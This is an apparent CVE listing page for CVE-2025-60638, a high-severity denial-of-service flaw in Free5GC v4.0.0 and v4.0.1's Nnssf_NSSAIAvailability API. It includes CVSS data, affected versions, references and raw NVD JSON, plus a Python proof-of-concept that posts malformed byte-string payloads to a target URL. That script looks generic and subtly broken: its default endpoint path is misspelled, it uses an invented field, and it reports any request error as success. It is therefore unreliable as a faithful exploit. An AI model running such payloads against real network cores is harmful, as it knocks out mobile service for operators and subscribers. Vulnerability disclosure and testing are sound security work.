CVE-2025-60638

Description

An issue was discovered in Free5GC v4.0.0 and v4.0.1 allowing an attacker to cause a denial of service via crafted POST request to the Nnssf_NSSAIAvailability API.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:free5gc:free5gc:4.0.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:free5gc:free5gc:4.0.1:*:*:*:*:*:*:* - VULNERABLE

Free5GC v4.0.0

Free5GC v4.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-60638 PoC - Free5GC Nnssf_NSSAIAvailability DoS
# Target: Free5GC v4.0.0 / v4.0.1

def exploit(target_url):
    """
    Exploit for CVE-2025-60638
    Free5GC Nnssf_NSSAIAvailability API DoS vulnerability
    """
    # Crafted POST request to trigger DoS
    payload = {
        "nssaiAvailabilityData": [
            {
                "supportedSnssaiList": [
                    {
                        "sst": "\x00" * 100,
                        "sd": "\xff" * 50
                    }
                ]
            }
        ],
        "trigger": "malformed_input"
    }
    
    headers = {
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    }
    
    try:
        print(f"[*] Sending crafted request to {target_url}")
        response = requests.post(
            target_url,
            json=payload,
            headers=headers,
            timeout=10
        )
        print(f"[*] Response status: {response.status_code}")
        
        # Alternative payload with invalid JSON structure
        alt_payload = {"invalid": "\x00\x01\x02" * 50}
        response2 = requests.post(
            target_url,
            json=alt_payload,
            headers=headers,
            timeout=10
        )
        print(f"[*] Alternative payload sent")
        
    except requests.exceptions.RequestException as e:
        print(f"[+] Exploit sent successfully - Target may be affected")
        print(f"[*] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        target = "http://localhost:8000/nnssf-nsseaiavailability/v1/nssai-availability"
    else:
        target = sys.argv[1]
    
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60638
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60638
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60638/
[4] VulDB https://vuldb.com/cve/CVE-2025-60638
[5] https://github.com/free5gc/free5gc
[6] https://github.com/free5gc/free5gc/issues/704

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60638", "sourceIdentifier": "[email protected]", "published": "2025-11-24T16:15:50.300", "lastModified": "2025-12-01T16:14:56.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Free5GC v4.0.0 and v4.0.1 allowing an attacker to cause a denial of service via crafted POST request to the Nnssf_NSSAIAvailability API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "6AAA449D-BC30-48D9-BD40-912F36A6BB12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:4.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "685CADC6-6235-4ACC-AB3A-0A0E3E12FA0D"}]}]}], "references": [{"url": "https://github.com/free5gc/free5gc", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/free5gc/free5gc/issues/704", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}